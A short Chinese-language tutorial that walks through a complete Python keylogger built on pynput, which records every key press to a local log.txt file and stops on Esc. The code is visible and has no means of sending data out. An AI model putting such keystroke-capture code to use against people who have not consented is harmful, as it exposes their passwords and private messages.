今天就要來學習如何使用 pynput 製作 Keylogger。Keylogger 顧名思義鍵盤紀錄(監控),用來記錄鍵盤輸入那些字。pynput.keyboard 包含用於控制和監視鍵盤的類別。pynput 是 Python 的一個函式庫,可用於捕獲鍵盤輸入,製作Keylogger。
$pip install pynput
import pynput
from pynput.keyboard import Key, Listener
# 用來存儲按鍵的列表
keys = []
def on_press(key):
# 當按鍵被按下時,將其加入到 keys 列表中
keys.append(key)
write_file(keys)
try:
# 嘗試輸出字母或數字按鍵
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
# 如果是特殊按鍵,則輸出特殊按鍵
print('special key {0} pressed'.format(key))
def write_file(keys):
# 將按鍵記錄寫入文件
with open('log.txt', 'w') as f:
for key in keys:
# 去除單引號
k = str(key).replace("'", "")
f.write(k)
# 每個按鍵之後顯式添加一個空格,增加可讀性
f.write(' ')
def on_release(key):
# 當按鍵被釋放時輸出
print('{0} released'.format(key))
if key == Key.esc:
# 如果按下了 Esc 鍵,停止監聽
return False
# 監聽鍵盤事件
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
參考資料 :
https://www.geeksforgeeks.org/how-to-use-pynput-to-make-a-keylogger/